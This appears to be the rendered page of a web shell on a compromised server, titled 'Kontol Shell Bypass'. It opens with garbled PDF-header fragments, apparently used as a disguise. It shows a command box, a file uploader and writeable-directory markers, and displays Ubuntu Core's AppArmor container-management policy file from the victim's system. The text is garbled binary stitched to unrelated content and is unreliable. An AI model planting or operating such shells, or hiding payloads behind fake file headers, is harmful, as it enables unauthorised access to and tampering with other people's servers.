%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /snap/core/current/usr/share/apparmor/easyprof/policygroups/ubuntu-core/16.04/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //snap/core/current/usr/share/apparmor/easyprof/policygroups/ubuntu-core/16.04/container-management
# Description: Can manage containers. This is restricted because it gives wide
# access to the system, which is needed for software managing containers. It is
# understood that the confinement provided here is only advisory.
# Usage: reserved

# Allow our pid file and socket
/run/@{APP_PKGNAME}/ rw,
/run/@{APP_PKGNAME}/** mrwklix,
/run/@{APP_PKGNAME}.pid rw,
/run/@{APP_PKGNAME}.sock rw,

# Wide read access to /proc, but somewhat limited writes for now
@{PROC}/ r,
@{PROC}/** r,
@{PROC}/[0-9]*/attr/exec w,
@{PROC}/sys/net/** w,
@{PROC}/[0-9]*/cmdline r,

# Wide read access to /sys
/sys/** r,
# Limit cgroup writes a bit
/sys/fs/cgroup/*/docker/   rw,
/sys/fs/cgroup/*/docker/** rw,
/sys/fs/cgroup/*/system.slice/   rw,
/sys/fs/cgroup/*/system.slice/** rw,

# We can trace ourselves
ptrace (trace) peer=@{profile_name},

# Docker needs a lot of caps, but limits them in the app container
capability,

# Allow talking to systemd
#include <abstractions/dbus-strict>
dbus (send)
     bus=system
     peer=(name=org.freedesktop.systemd*,label=unconfined),
# Allow receiving from unconfined
dbus (receive)
     bus=system
     peer=(label=unconfined),

# Docker does all kinds of mounts all over the filesystem
/dev/mapper/control rw,
/dev/mapper/docker* rw,
/dev/loop* r,
/dev/loop[0-9]* w,
mount,
umount,
pivot_root,
/.pivot_root*/ rw,

# for console access
/dev/ptmx rw,

# For loading the docker-default policy. We might be able to get rid of this
# if we load docker-default ourselves and make docker not do it.
/sbin/apparmor_parser ixr,
/etc/apparmor*/** r,
/var/lib/apparmor/profiles/docker rw,
/etc/apparmor.d/cache/docker* w,
/etc/apparmor.d/cache/.features w,
/sys/kernel/security/apparmor/** rw,

# We'll want to adjust this to support --security-opts...
change_profile -> docker-default,
signal (send) peer=docker-default,
ptrace (read, trace) peer=docker-default,
# This is exceedingly unfortunate but needed since privileged containers run
# unconfined.
#signal (send) peer=unconfined,
#ptrace (read, trace) peer=unconfined,

/ r,
/dev/ r,
/dev/**/ r,
/proc r,

/dev/dm-* rw,
/dev/shm/aufs.xino rw,
@{PROC}/fs/aufs/plink_maint rw,

/bin/chown ixr,
capability sys_resource,
/sbin/killall5 ixr,
/sbin/dmsetup ixr,

Kontol Shell Bypass